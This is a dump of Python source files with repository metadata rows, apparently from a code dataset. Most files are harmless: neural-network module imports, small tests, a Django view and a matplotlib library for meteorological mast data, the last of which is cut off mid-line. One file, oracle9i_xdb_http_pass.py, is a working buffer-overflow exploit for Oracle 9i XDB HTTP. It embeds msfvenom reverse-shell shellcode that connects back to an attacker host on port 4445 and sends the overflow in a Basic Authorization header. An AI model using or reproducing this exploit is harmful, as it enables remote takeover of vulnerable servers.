from .module import Conv1dRNN from .module import Conv1dLSTM from .module import Conv1dPeepholeLSTM from .module import Conv1dGRU from .module import Conv2dRNN from .module import Conv2dLSTM from .module import Conv2dPeepholeLSTM from .module import Conv2dGRU from .module import Conv3dRNN from .module import Conv3dLSTM from .module import Conv3dPeepholeLSTM from .module import Conv3dGRU from .module import Conv1dRNNCell from .module import Conv1dLSTMCell from .module import Conv1dPeepholeLSTMCell from .module import Conv1dGRUCell from .module import Conv2dRNNCell from .module import Conv2dLSTMCell from .module import Conv2dPeepholeLSTMCell from .module import Conv2dGRUCell from .module import Conv3dRNNCell from .module import Conv3dLSTMCell from .module import Conv3dPeepholeLSTMCell from .module import Conv3dGRUCell

28.733333

43

0.821346

96

862

7.375

0.28125

0.338983

0.542373

0

0.032787

0.150812

862

29

44

29.724138

0.934426

0

1

0

true

0

1

0

1

0

null

1

0

null

0

1

0

1

0

1

0

5

a40aebdeedc0d9d3d21cdcda70a977cc861a699c

134

py

Python

appmap/test/data/pytest/test_simple.py

virajkanwade/appmap-python

5ca806f9b23d2f80b53e7644c88a1cca18ab2f37

[ "MIT" ]

null

appmap/test/data/pytest/test_simple.py

virajkanwade/appmap-python

5ca806f9b23d2f80b53e7644c88a1cca18ab2f37

[ "MIT" ]

1

2021-03-13T05:09:56.000Z

appmap/test/data/pytest/test_simple.py

virajkanwade/appmap-python

5ca806f9b23d2f80b53e7644c88a1cca18ab2f37

[ "MIT" ]

null

import os def test_hello_world(): import simple os.chdir('/tmp') assert simple.Simple().hello_world() == 'Hello world!'

16.75

58

0.656716

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134

4.722222

0.555556

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0.19403

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null

0

1

0

1

0

5

cfc8ddb00f4cf7a76141ac696da71bc37f5d637a

38

py

Python

xautoml/handlers.py

Ennosigaeon/xautoml

6e49ee8b2ffb6d19dcfd9cbe8b3397416c9b5ded

[ "BSD-3-Clause" ]

4

2022-02-27T08:54:08.000Z

2022-03-30T21:19:29.000Z

xautoml/handlers.py

Ennosigaeon/xautoml

6e49ee8b2ffb6d19dcfd9cbe8b3397416c9b5ded

[ "BSD-3-Clause" ]

1

2022-02-28T09:41:00.000Z

2022-03-02T07:44:17.000Z

xautoml/handlers.py

Ennosigaeon/xautoml

6e49ee8b2ffb6d19dcfd9cbe8b3397416c9b5ded

[ "BSD-3-Clause" ]

2

2022-03-01T00:38:09.000Z

2022-03-21T09:38:49.000Z

def setup_handlers(web_app): pass

12.666667

28

0.736842

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38

4.333333

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0

0.184211

38

2

29

19

0.83871

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1

0.5

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0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

5

321697c6f2f28cd4f7723eac460ab47d6a5d0e33

287

py

Python

channel/views.py

VisheshPandita/django-channels

9ce12c23a3c575bfdcabfb2e9ddb785a13b73c38

[ "MIT" ]

null

channel/views.py

VisheshPandita/django-channels

9ce12c23a3c575bfdcabfb2e9ddb785a13b73c38

[ "MIT" ]

null

channel/views.py

VisheshPandita/django-channels

9ce12c23a3c575bfdcabfb2e9ddb785a13b73c38

[ "MIT" ]

null

from django.shortcuts import render # Create your views here. from django.shortcuts import render def index(request): return render(request, 'channel/index.html') def room(request, room_name): return render(request, 'channel/room.html', { 'room_name': room_name })

23.916667

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0.71777

38

287

5.342105

0.447368

0.118227

0.187192

0.246305

0.305419

0

0.174216

287

12

50

23.916667

0.85654

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0

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0.25

false

0

0.25

0.75

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null

0

1

0

null

0

1

0

1

0

5

5c54417937c7899fd8c6983a5daae59d1bdff333

636

py

Python

tests/kyu_7_tests/test_a_rule_of_divisibility_by_13.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

40

2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

tests/kyu_7_tests/test_a_rule_of_divisibility_by_13.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

tests/kyu_7_tests/test_a_rule_of_divisibility_by_13.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

import unittest from katas.kyu_7.a_rule_of_divisibility_by_13 import thirt class ThirtTestCase(unittest.TestCase): def test_equals(self): self.assertEqual(thirt(1234567), 87) def test_equals_2(self): self.assertEqual(thirt(321), 48) def test_equals_3(self): self.assertEqual(thirt(8529), 79) def test_equals_4(self): self.assertEqual(thirt(85299258), 31) def test_equals_5(self): self.assertEqual(thirt(5634), 57) def test_equals_6(self): self.assertEqual(thirt(1111111111), 71) def test_equals_7(self): self.assertEqual(thirt(987654321), 30)

23.555556

58

0.688679

87

636

4.816092

0.45977

0.116945

0.217184

0.400955

0

0.134122

0.20283

636

26

59

24.461538

0.692308

0

0.411765

1

0.411765

false

0

0.117647

0

0.588235

0

null

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0

null

0

1

0

1

0

1

0

5

5c6c062454eb5aef00acec053742e41f9cdc9ea2

31

py

Python

python/gto/gto.py

marza-animation-planet/gto

4f6e6dce73b1da6f6618c8e8f9bb5f84357f08df

[ "BSD-3-Clause" ]

null

python/gto/gto.py

marza-animation-planet/gto

4f6e6dce73b1da6f6618c8e8f9bb5f84357f08df

[ "BSD-3-Clause" ]

null

python/gto/gto.py

marza-animation-planet/gto

4f6e6dce73b1da6f6618c8e8f9bb5f84357f08df

[ "BSD-3-Clause" ]

1

2019-04-04T00:05:35.000Z

import _gto from _gto import *

10.333333

18

0.774194

5

31

4.4

0.6

0

0.193548

31

2

19

15.5

0.88

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

5c6db08932438f83de80e9f0c5bb4103c494815e

535

py

Python

axonal/interface.py

HarryR/axonal

cf1b8536f45a7e4f9c7c42c18a088070baf81bac

[ "BSD-3-Clause" ]

1

2019-09-08T04:17:16.000Z

axonal/interface.py

HarryR/axonal

cf1b8536f45a7e4f9c7c42c18a088070baf81bac

[ "BSD-3-Clause" ]

null

axonal/interface.py

HarryR/axonal

cf1b8536f45a7e4f9c7c42c18a088070baf81bac

[ "BSD-3-Clause" ]

null

class Dispatcher: def can_dispatch(self, request): raise NotImplementedError() def dispatch(self, request): raise NotImplementedError() class Transport: def can_transport(self, request): pass def send_request(self, context, data): raise NotImplementedError() def send_event(self, context, data): raise NotImplementedError() class Protocol: def encode(self, obj): raise NotImplementedError() def decode(self, data): raise NotImplementedError()

20.576923

42

0.665421

53

535

6.641509

0.358491

0.409091

0.230114

0.136364

0.465909

0

0.250467

535

25

43

21.4

0.877805

0

0.352941

0

1

0.411765

false

0.058824

0

0.588235

0

null

1

0

null

0

1

0

1

0

1

0

5

5cd2541c505933bd016379e8eb3e8622c2aa157b

2,677

py

Python

oracle9i_xdb_http_pass.py

timip/explo

0697a34f100f4cf543c73e7d190254724ced543a

[ "Apache-2.0" ]

41

2018-05-21T02:56:01.000Z

2022-03-22T03:57:33.000Z

oracle9i_xdb_http_pass.py

timip/explo

0697a34f100f4cf543c73e7d190254724ced543a

[ "Apache-2.0" ]

null

oracle9i_xdb_http_pass.py

timip/explo

0697a34f100f4cf543c73e7d190254724ced543a

[ "Apache-2.0" ]

22

2019-01-29T18:42:03.000Z

2021-11-02T21:11:13.000Z

# Exploit for Oracle 9i XDB HTTP PASS Overflow (win32) # Based on https://www.exploit-db.com/exploits/16809/ # By TIMLAB timip.net # Use in the form "python oracle9i_xdb_http_pass.py <Target IP Address> <Target Port No.>" # Target Port No. = 8080 import sys, socket, base64 # Please replace it with your shellcode!!!!!! # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.134 LPORT=4445 -b '\x00' -f python buf = "" buf += "\xd9\xc4\xbb\x69\x6e\xb8\x34\xd9\x74\x24\xf4\x5d\x2b" buf += "\xc9\xb1\x52\x31\x5d\x17\x83\xed\xfc\x03\x34\x7d\x5a" buf += "\xc1\x3a\x69\x18\x2a\xc2\x6a\x7d\xa2\x27\x5b\xbd\xd0" buf += "\x2c\xcc\x0d\x92\x60\xe1\xe6\xf6\x90\x72\x8a\xde\x97" buf += "\x33\x21\x39\x96\xc4\x1a\x79\xb9\x46\x61\xae\x19\x76" buf += "\xaa\xa3\x58\xbf\xd7\x4e\x08\x68\x93\xfd\xbc\x1d\xe9" buf += "\x3d\x37\x6d\xff\x45\xa4\x26\xfe\x64\x7b\x3c\x59\xa7" buf += "\x7a\x91\xd1\xee\x64\xf6\xdc\xb9\x1f\xcc\xab\x3b\xc9" buf += "\x1c\x53\x97\x34\x91\xa6\xe9\x71\x16\x59\x9c\x8b\x64" buf += "\xe4\xa7\x48\x16\x32\x2d\x4a\xb0\xb1\x95\xb6\x40\x15" buf += "\x43\x3d\x4e\xd2\x07\x19\x53\xe5\xc4\x12\x6f\x6e\xeb" buf += "\xf4\xf9\x34\xc8\xd0\xa2\xef\x71\x41\x0f\x41\x8d\x91" buf += "\xf0\x3e\x2b\xda\x1d\x2a\x46\x81\x49\x9f\x6b\x39\x8a" buf += "\xb7\xfc\x4a\xb8\x18\x57\xc4\xf0\xd1\x71\x13\xf6\xcb" buf += "\xc6\x8b\x09\xf4\x36\x82\xcd\xa0\x66\xbc\xe4\xc8\xec" buf += "\x3c\x08\x1d\xa2\x6c\xa6\xce\x03\xdc\x06\xbf\xeb\x36" buf += "\x89\xe0\x0c\x39\x43\x89\xa7\xc0\x04\xbc\x3c\xca\x52" buf += "\xa8\x40\xca\x4b\x74\xcc\x2c\x01\x96\x98\xe7\xbe\x0f" buf += "\x81\x73\x5e\xcf\x1f\xfe\x60\x5b\xac\xff\x2f\xac\xd9" buf += "\x13\xc7\x5c\x94\x49\x4e\x62\x02\xe5\x0c\xf1\xc9\xf5" buf += "\x5b\xea\x45\xa2\x0c\xdc\x9f\x26\xa1\x47\x36\x54\x38" buf += "\x11\x71\xdc\xe7\xe2\x7c\xdd\x6a\x5e\x5b\xcd\xb2\x5f" buf += "\xe7\xb9\x6a\x36\xb1\x17\xcd\xe0\x73\xc1\x87\x5f\xda" buf += "\x85\x5e\xac\xdd\xd3\x5e\xf9\xab\x3b\xee\x54\xea\x44" buf += "\xdf\x30\xfa\x3d\x3d\xa1\x05\x94\x85\xd1\x4f\xb4\xac" buf += "\x79\x16\x2d\xed\xe7\xa9\x98\x32\x1e\x2a\x28\xcb\xe5" buf += "\x32\x59\xce\xa2\xf4\xb2\xa2\xbb\x90\xb4\x11\xbb\xb0" host = sys.argv[1] port = sys.argv[2] ret = "\x46\x6d\x61\x60" prependEncoder = "\x81\xc4\xff\xef\xff\xff\x44" prep = "\x41" * 4 + ":" + "\x41" * 442 prep += "\xeb\x64" + "\x90" * 2 + ret prep += "\x90" * 266 + "\xeb\x10" + "\x90" * 109 + prependEncoder + buf prep = base64.b64encode(prep) exploit = "GET / HTTP/1.1\x0d\x0a" + "Host: " + host + ":" + port + "\x0d\x0aAuthorization: Basic " + prep + "\x0d\x0a\x0d\x0a" client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((host, int(port))) client.sendall(exploit) client.close() print 'Done! Try harder!'

46.155172

127

0.672768

534

2,677

3.359551

0.531835

0.010033

0.012263

0

0.204341

0.087785

2,677

57

128

46.964912

0.530303

0.137094

0

0.627907

0.684622

0.631625

0.093023

0

null

0

0.023256

null

0.023256

0

null

0

1

0

1

null

0

1

0

5

7a710b950ddeeebd97825f0812b4bab3c0de0ad0

73

py

Python

PygameFloatObjects/__init__.py

MrComboF10/PygameFloatObjects

e139a3b542d1ef2d54604e2769827c9da6d2cee3

[ "MIT" ]

null

PygameFloatObjects/__init__.py

MrComboF10/PygameFloatObjects

e139a3b542d1ef2d54604e2769827c9da6d2cee3

[ "MIT" ]

null

PygameFloatObjects/__init__.py

MrComboF10/PygameFloatObjects

e139a3b542d1ef2d54604e2769827c9da6d2cee3

[ "MIT" ]

null

from PygameFloatObjects.objects import FloatRect, FloatCircle, FloatFont

36.5

72

0.876712

7

73

9.142857

1

0

0.082192

73

1

73

0.955224

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

7a919abb635d3c7301e3044651ab38c78339674e

55

py

Python

xonsh/ptk2/shell.py

ion201/xonsh

7cf0307a0d53d198b8c05c83456d86af14c0daa4

[ "BSD-2-Clause-FreeBSD" ]

4,716

2016-06-07T05:48:42.000Z

2022-03-31T22:30:15.000Z

xonsh/ptk2/shell.py

ion201/xonsh

7cf0307a0d53d198b8c05c83456d86af14c0daa4

[ "BSD-2-Clause-FreeBSD" ]

3,644

2016-06-07T05:55:42.000Z

2022-03-31T13:25:57.000Z

xonsh/ptk2/shell.py

ion201/xonsh

7cf0307a0d53d198b8c05c83456d86af14c0daa4

[ "BSD-2-Clause-FreeBSD" ]

576

2016-06-07T06:28:32.000Z

2022-03-31T02:46:15.000Z

from xonsh.ptk_shell.shell import * # noqa: F403 F401

27.5

54

0.745455

9

55

4.444444

0.888889

0

0.130435

0.163636

55

1

55

0.73913

0.272727

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

7a933aba157e656a7ee1ee0874eb4ff73d1e70ec

87

py

Python

dragon/passes/__init__.py

Totillity/Dragon

3c7b57635b2631ef312bac05599b0a9e821716cb

[ "MIT" ]

2

2019-08-14T19:11:40.000Z

2021-04-15T09:57:35.000Z

dragon/passes/__init__.py

Totillity/Dragon

3c7b57635b2631ef312bac05599b0a9e821716cb

[ "MIT" ]

null

dragon/passes/__init__.py

Totillity/Dragon

3c7b57635b2631ef312bac05599b0a9e821716cb

[ "MIT" ]

null

from .parser import parse from .compiler import compile_drgn from .scanner import scan

21.75

34

0.827586

13

87

5.461538

0.692308

0

0.137931

87

3

35

29

0.946667

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

8f9489601bb7707826675e276fbf1cdfccc5a057

40,692

py

Python

plotly/vis.py

NREL/MetMastVis

0c3dd87540471c061eb491c871fdb32e6dabd31b

[ "Apache-2.0" ]

1

2018-05-25T20:03:48.000Z

plotly/vis.py

nhamilto/MetMast

38475682adb21081c86c58e9008a278971306c23

[ "Apache-2.0" ]

null

plotly/vis.py

nhamilto/MetMast

38475682adb21081c86c58e9008a278971306c23

[ "Apache-2.0" ]

2

2018-06-07T20:00:03.000Z

2020-11-26T21:52:04.000Z

""" :module: vis :platform: Unix, Windows :synopsis: This code is used as a visualization library for the Met Mast data so it is specifically designed to handle MetDat object from the "met_funcs.py" library. :moduleauthor: Nicholas Hamilton <Nicholas.Hamilton@nrel.gov> Rafael Mudafort <Rafael.Mudafort@nrel.gov> Lucas McCullum <Lucas.McCullum@nrel.gov> """ ########################################### # Visualization ########################################### import utils import matplotlib.cm as cm import matplotlib.pyplot as plt import numpy as np from colour import Color from windrose import WindroseAxes import pandas as pd plt.rc('font', family='serif') plt.rc('font', size=12) plt.rc('facecolor') def cumulative_profile(metdat, catinfo, category=None): """**Get Variable Profile**. Plot the vertical profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass # extract vertical locations of data from variable names colnames, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category]) plotdat = metdat[colnames].mean() fig, ax = plt.subplots(figsize=(3.5,5)) ax.plot(plotdat, vertlocs) ax.set_ylabel('Probe Height [m]') ax.set_xlabel(catinfo['labels'][category]) fig.tight_layout() return fig, ax def monthly_profile(metdat, catinfo, category=None, basecolor='cycle'): """**Get Monthly Profile**. Plot the monthly profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. basecolor (string) [default: 'cycle']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass months = utils.monthnames() colors = utils.get_colors(len(months), basecolor=basecolor) colnames, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category]) plotdat = metdat[colnames].groupby(metdat.index.month).mean() fig, ax = plt.subplots(figsize=(3.5,5), sharex=True, sharey=True) for iax in range(len(months)): ax.plot(plotdat.xs(iax+1), vertlocs, color=colors[iax]) leg = ax.legend(months, loc=7, bbox_to_anchor=(1.75, 0.5), edgecolor='w') ax.set_ylabel('Probe Height [m]') ax.set_xlabel(catinfo['labels'][category]) fig.tight_layout() return fig, ax def stability_profile(metdat, catinfo, category=None, vertloc=80, basecolor='cycle'): """**Get Stability Profile**. Plot the stability profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'cycle]: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass stab, stabloc, ind = utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) colors = utils.get_colors(5,basecolor=basecolor) stabconds = utils.get_stabconds() plotdat = metdat.groupby(stab).mean() pdat = plotdat[catinfo['columns'][category]].get_values() # Extract vertical locations of data from variable names _, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category]) fig, ax = plt.subplots(figsize=(3.5,5)) for ii, cond in enumerate(stabconds): ax.plot(pdat[ii,ind], vertlocs, color=colors[ii]) ax.set_ylabel('Probe Height [m]') ax.set_xlabel(catinfo['labels'][category]) fig.legend(stabconds, loc=6, bbox_to_anchor=(1,0.5), frameon=False) fig.tight_layout() return fig, ax def monthly_stability_profiles(metdat, catinfo, category=None, vertloc=80, basecolor='span'): """**Get Monthly Stability Profile**. Plot the monthly stability profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'span']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass stab, stabloc, ind = utils.get_vertical_locations(catinfo['columns']['stability flag'], location=vertloc) plotdat = metdat.groupby([metdat.index.month, stab]) colors = utils.get_colors(5,basecolor='span') months = utils.monthnames() stabconds = utils.get_stabconds() # extract vertical locations of data from variable names _, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category]) fig, ax = plt.subplots(4,3, figsize=(8,13), sharex=True, sharey=True) for iax, month in enumerate(months): for ii, cond in enumerate(stabconds): pdat = plotdat[catinfo['columns'][category]].get_group((iax+1, cond)).mean() ax.flatten()[iax].plot(pdat[ind], vertlocs, color=colors[ii]) ax.flatten()[iax].set_title(month) fig.text(0,0.58, 'Probe Height [m]', ha='center', va='center', fontsize=14, rotation='vertical') leg = fig.legend(stabconds, loc=9, bbox_to_anchor=(0.55, 0.12), frameon=False) fig.tight_layout() fig.subplots_adjust(bottom=0.175) fig.text(0.525,0.135, catinfo['labels'][category], ha='center', va='center', fontsize=14) return fig, ax def hourlyplot(metdat, catinfo, category=None, basecolor='span'): """**Get Hourly Averaged Profile**. Plot the hourly averaged profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. basecolor (string): Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass colors = utils.get_colors(len(catinfo['columns'][category]), basecolor=basecolor, reverse=True) colnames, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category], reverse=True) plotdat = metdat[colnames].groupby(metdat.index.hour).mean() fig, ax = plt.subplots(figsize=(5,3.5), sharex=True, sharey=True) for iax in range(len(colnames)): ax.plot(plotdat[colnames[iax]], color=colors[iax]) leg = ax.legend([str(v) + ' m' for v in vertlocs], loc=6, bbox_to_anchor=(1, 0.5), frameon=False) ax.set_xlabel('Time [hour]') ax.set_ylabel(catinfo['labels'][category]) fig.tight_layout() return fig, ax def monthlyhourlyplot(metdat, catinfo, category=None, basecolor='span'): """**Get Monthly Hourly Averaged Profile**. Plot the monthly hourly averaged profile of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. basecolor (string) [default: 'span']: Provides the color code information to get from "utils.py". Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ if category is None: print('not sure what to plot...') pass months = utils.monthnames() colors = utils.get_colors(len(catinfo['columns'][category]), basecolor=basecolor, reverse=True) colnames, vertlocs, ind = utils.get_vertical_locations(catinfo['columns'][category], reverse=True) plotdat = metdat[colnames].groupby([metdat.index.month.rename('month'), metdat.index.hour.rename('hour')]).mean() fig, ax = plt.subplots(4,3, figsize=(9,11), sharex=True, sharey=True) for iax in range(len(months)): for catitem in range(len(colnames)): ax.flatten()[iax].plot(plotdat[colnames[catitem]].xs(iax+1), color=colors[catitem]) ax.flatten()[iax].set_title(months[iax], fontsize=12) fig.text(0.5,0.2, 'Time of Day [hour]', ha='center', va='center') leg = fig.legend([str(v) + ' m' for v in vertlocs], loc = 'upper center', bbox_to_anchor = (0,-0.825,1,1), bbox_transform = plt.gcf().transFigure, frameon=False, ncol=2) fig.tight_layout() fig.subplots_adjust(bottom=0.25) fig.text(0,0.6125, catinfo['labels'][category], ha='center', va='center', rotation='vertical') return fig, ax def rose_fig(metdat, catinfo, category=None, vertloc=80, bins=6, nsector=36, ylim=None, noleg=False): """**Get Wind Rose Figure**. Plot the wind rose of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. bins (integer, list) [default: 6]: Indicates the number of equally spaced bins to divide the variable. 6. nsector (integer) [default: 36]: Indicated the number of sector directions to divide the rose figure. 7. ylim (float) [default: None]: Provides the maximum value for the frequency of observations and is used to plot different roses with uniform limits. 8. noleg (Boolean) [default: False]: Determines whether or not there will be a legend to the figure. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. 3. leg (Matplotlib Legend): The legend object for the desired input data and categories. """ # set up data dircol, _, _= utils.get_vertical_locations(catinfo['columns']['direction'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) winddir = metdat[dircol] var = metdat[varcol] # get var divisions set up if isinstance(bins, int): nbins = bins else: nbins = len(bins) # set up plotting colors colors = utils.get_colors(nbins-1, basecolor='span') colors += ['#3A4246'] # add something dark to the end. colors = tuple(colors[0:nbins]) # built figure fig = plt.figure() ax = WindroseAxes.from_ax(fig=fig) ax.bar(winddir, var, normed=True, opening=0.95, edgecolor='white', bins=bins, nsector=nsector,colors=colors, linewidth=0.35) # legend leg=['blank'] if noleg is not True: leg = ax.set_legend(loc=7,bbox_to_anchor=(1.55,0.5), fontsize=10, frameon=False) # add labels to legend leg.set_title(catinfo['labels'][category]) fig.text(0.875, 0.275, r'$z={}$ m'.format(vertloc)) # adjust plot for specified max frequency if ylim is None: ylim = ax.get_ylim()[-1] # frequency axis limits and labels ax.set_ylim(0,ylim) ax.set_yticks(np.linspace(0,ylim,4)) ax.set_yticklabels([str(round(x,1)) for x in np.linspace(0,ylim,4)]) return fig, ax, leg def monthly_rose_fig(metdat, catinfo, category=None, vertloc=80, bins=6, nsector=36, ylim=None, noleg=False): """**Get Monthly Wind Rose Figure**. Plot the monthly wind rose of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string) [default: None]: Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. bins (integer, list) [default: 6]: Indicates the number of equally spaced bins to divide the variable. 6. nsector (integer) [default: 36]: Indicated the number of sector directions to divide the rose figure. 7. ylim (float) [default: None]: Provides the maximum value for the frequency of observations and is used to plot different roses with uniform limits. 8. noleg (Boolean) [default: False]: Determines whether or not there will be a legend to the figure. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. 3. leg (Matplotlib Legend): The legend object for the desired input data and categories. """ # set up data dircol, _, _= utils.get_vertical_locations(catinfo['columns']['direction'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) plotdat = metdat.groupby(metdat.index.month) winddir = plotdat[dircol] var = plotdat[varcol] months = utils.monthnames() # wind speed bins to use in wind roses # get var divisions set up if isinstance(bins, int): nbins = bins else: nbins = len(bins) # set up plotting colors colors = utils.get_colors(nbins-1, basecolor='span') colors += ['#3A4246'] # add something dark to the end. colors = tuple(colors[0:nbins]) fig = plt.figure(figsize=(9,13)) for iax,month in enumerate(months): ax = fig.add_subplot(4,3,iax+1, projection="windrose") ax.bar(winddir.get_group(iax+1), var.get_group(iax+1), bins=bins, nsector=36, colors=colors, linewidth=0.35, normed=True) # Set the tick labels font for label in (ax.get_xticklabels() + ax.get_yticklabels()): label.set_fontname('Arial') label.set_fontsize(12) ax.set_title(month,fontsize=12,y=1.15) if iax == 10: leg = plt.legend(loc=8, ncol=2, bbox_to_anchor = (0.5,-0.65), frameon=False) leg.set_title(catinfo['labels'][category]) fig.text(0.5, -0.085, r'$z={}$ m'.format(vertloc), ha='center', va='center') axes = fig.get_children()[1:] # adjust plot for specified max frequency if ylim is None: ylim = 0.0 for iax,month in enumerate(months): ylim = np.max([ylim, axes[iax].get_ylim()[-1]]) for iax,month in enumerate(months): axes[iax].set_ylim(0,ylim) axes[iax].set_yticks(np.linspace(0.0,ylim,4)) # print(axes[iax].get_yticks()) axes[iax].set_yticklabels([str(np.round(x,decimals=1)) for x in axes[iax].get_yticks()]) fig.tight_layout() return fig, axes, leg def winddir_scatter(metdat, catinfo, category, vertloc=80, basecolor='red', exclude_angles=[(46, 228)]): """**Get Wind Direction Scatter Figure**. Plot the wind direction scatter of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float): Describes the desired vertical location alond the tower for analysis. 5. basecolor (string): Provides the color code information to get from "utils.py". 6. exclude_angles (tuple, list): Defines the start and stop angles to shade out regions according to International Electrotechnical Commission (IEC) standards. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ # set up data dircol, _, _= utils.get_vertical_locations(catinfo['columns']['direction'], location=vertloc) varcol, vertloc, _= utils.get_vertical_locations(catinfo['columns'][category], location=vertloc) colors = utils.get_nrelcolors() fig = plt.figure(figsize=(8,2.5)) ax = fig.add_subplot(111) ax.scatter(metdat[dircol], metdat[varcol], marker='o',facecolor='w',color='k',lw=0.5,alpha=0.7) ax.set_xlim([0,360]) for ii in range(len(exclude_angles)): ax.axvspan(exclude_angles[ii][0], exclude_angles[ii][1], alpha=0.1, color=colors[basecolor][0]) ax.set_title(r'$z={}$ m'.format(vertloc)) ax.set_xlabel(r'Wind Direction [$^\circ$]') ax.set_ylabel(catinfo['labels'][category]) return fig, ax#, leg def stability_winddir_scatter(metdat, catinfo, category, vertloc=80, basecolor='red', exclude_angles=[(46, 228)]): """**Get Wind Direction Stability Scatter Figure**. Plot the wind direction stability scatter of a given variable (or category of variables) grouped by a given condition (or set of conditions). Parameters: 1. metdat (Pandas DataFrame): The desired input data (Met Mast). 2. catinfo (dictionary): Categorization information for the desired input data. Holds column names, labels, units, and save names. 3. category (string): Specifies the category of information that is desired for plotting. 4. vertloc (integer, float) [default: 80]: Describes the desired vertical location alond the tower for analysis. 5. basecolor (string) [default: 'red']: Provides the color code information to get from "utils.py". 6. exclude_angles (tuple, list) [default: [(46, 228)]]: Defines the start and stop angles to shade out regions according to International Electrotechnical Commission (IEC) standards. Returns: 1. fig (Matplotlib Figure): The figure object for the desired input data and categories. 2. ax (Matplotlib Axes): The axes object for the desired input data and categories. """ stabconds = utils.get_stabconds() colors = utils.get_colors(len(stabconds),basecolor='span') nrelcolors = 